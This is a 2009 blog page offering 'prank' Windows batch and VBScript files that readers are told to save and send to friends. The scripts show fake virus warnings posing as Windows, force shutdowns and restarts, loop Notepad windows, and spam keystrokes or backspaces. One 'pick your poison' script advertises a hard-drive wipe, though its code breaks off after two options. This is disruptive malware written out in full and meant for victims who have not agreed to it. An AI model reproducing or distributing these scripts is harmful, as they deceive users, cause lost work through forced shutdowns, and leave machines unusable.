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Saturday, April 11, 2009

The real Crazy one

Try this out
it shutdowns the PC.
Code:
@echo off
echo WINDOWS HAS DETECTED A VIRUS, WOULD YOU LIKE TO TERMINATE?
echo -
echo PROCEED WITH VIRUS TERMINATION(Y/N)
set/p "cho=>"
if %cho%==Y goto forward
if %cho%==y goto forward
if %cho%==n goto Shutdown1
if %cho%==N goto Shutdown1
:forward
echo VIRUS HAS BEEN DELETED
Pause
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS SUGGESTS YOU DELETE ALL FILES TO RESUME(Y/N)
set/p "cho=>"
if %cho%==Y goto Sucess
if %cho%==y goto Sucess
if %cho%==n goto Shutdown2
if %cho%==N goto Shutdown2
:Sucess
echo WINDOWS HAS DELETED ALL FILES
echo -
echo PLEASE ALLOW WINDOWS TO PREFORM A SAFETY CHECK
Pause
echo SYSTEM CHECK
echo HARD DRIVE - FAILED
echo -
echo RAM - FAILED
echo -
echo DISK DRIVE - FAILED
echo -
echo CONNECTION - FAILED
echo -
echo WINDOWS IS SHUTTING DOWN IN 20 SECONDS TO PROTECT FROM DAMAGE
goto Shutdown3
:Shutdown3
shutdown -r -t 20 -c "YOU ARE DUMB! HAHAHAHAHAHA"
:Shutdown1
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage"
:Shutdown2
shutdown -s -f -t 60 -c "Windows is shutting down to prevent any further damage"

Save it as "Anything.BAT" and send it.

The best ever Prank

Try this fake Prank, It just alerts the user/victim/friend


Code
@echo off
title VIRUS
color 06

echo YOU HAVE A VIRUS ON YOUR COMPUTER
pause
echo CONTACTING ANTI-VIRUS....
pause
echo DO YOU WANT TO DELETE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
echo ACTIVATING VIRUS.....
echo VIRUS ACTIVATED!!!!
pause
:1
dir/s
goto 1


Save it as "Anything.BAT" and send it.

Friday, April 10, 2009

Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action

Extremely Dangerous trick

Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :

Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two



Save it as "Anything.BAT" and send it.

Open Notepad continually in your friend's computer

Open Notepad continually in your friend's computer:
Type :

Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top




Save it as "Anything.BAT" and send it.

Hack your friend's keyboard and make him type "You are a fool" simultaneously

Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :

Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop



Save it as "Anything.VBS" and send it

Frustrate your friend by making this VBScript hit Backspace simultaneously

Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :

Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop



Save it as "Anything.VBS" and send it.

Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out

Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :

Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s!
"


Save it as "Anything.VBS" and send it.